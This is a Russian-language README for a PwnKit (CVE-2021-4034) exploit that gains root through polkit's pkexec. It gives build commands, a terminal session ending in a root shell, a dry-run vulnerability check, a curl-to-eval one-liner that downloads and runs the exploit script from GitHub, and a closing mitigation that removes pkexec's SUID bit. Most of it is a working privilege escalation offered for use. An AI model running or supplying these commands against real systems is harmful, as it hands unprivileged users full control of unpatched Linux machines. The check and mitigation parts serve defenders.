
Эксплойт для CVE-2021-4034 (PwnKit), который предоставляет root-оболочку через polkit pkexec. Включает режим пробного запуска для проверки уязвимости и однострочный скрипт для быстрой эксплуатации.
Эксплойт для повышения привилегий в polkit за один день
Просто выполните make, ./cve-2021-4034 и наслаждайтесь root-оболочкой.
Оригинальный advisory от настоящих авторов находится здесь
Если эксплойт сработает, вы сразу получите root-оболочку:
vagrant@ubuntu-impish:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit
Обновление polkit на большинстве систем закрывает эту уязвимость, поэтому вы увидите справку по использованию, и программа завершится:
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$
Чтобы не запускать оболочку, а только проверить, уязвима ли система, скомпилируйте цель dry-run.
Если программа завершится с выводом "root", это означает, что ваша система уязвима к эксплойту.
vagrant@ubuntu-impish:~/CVE-2021-4034$ make dry-run
...
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
root
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
1
Если ваша система не уязвима, программа выведет сообщение об ошибке и завершится.
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
0
Polkit (ранее PolicyKit) — это компонент для управления системными привилегиями в Unix-подобных операционных системах. Он предоставляет организованный способ взаимодействия непривилегированных процессов с привилегированными. Также с помощью polkit можно выполнять команды с повышенными привилегиями, используя команду pkexec, за которой следует команда, которую необходимо выполнить (с правами root).
Вы можете легко эксплуатировать систему с помощью одного скрипта, который можно скачать и выполнить следующей командой:
eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
vagrant@ubuntu-impish:~/CVE-2021-4034$ whoami
vagrant
vagrant@ubuntu-impish:~/CVE-2021-4034$ eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.
# whoami
root
Если для вашей операционной системы нет доступных патчей, вы можете удалить SUID-бит у pkexec в качестве временной меры.
# chmod 0755 /usr/bin/pkexec
После этого эксплойт завершится с ошибкой о том, что у pkexec должен быть установлен бит setuid.
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ sudo chmod 0755 /usr/bin/pkexec
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ ./cve-2021-4034
GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT”
pkexec must be setuid root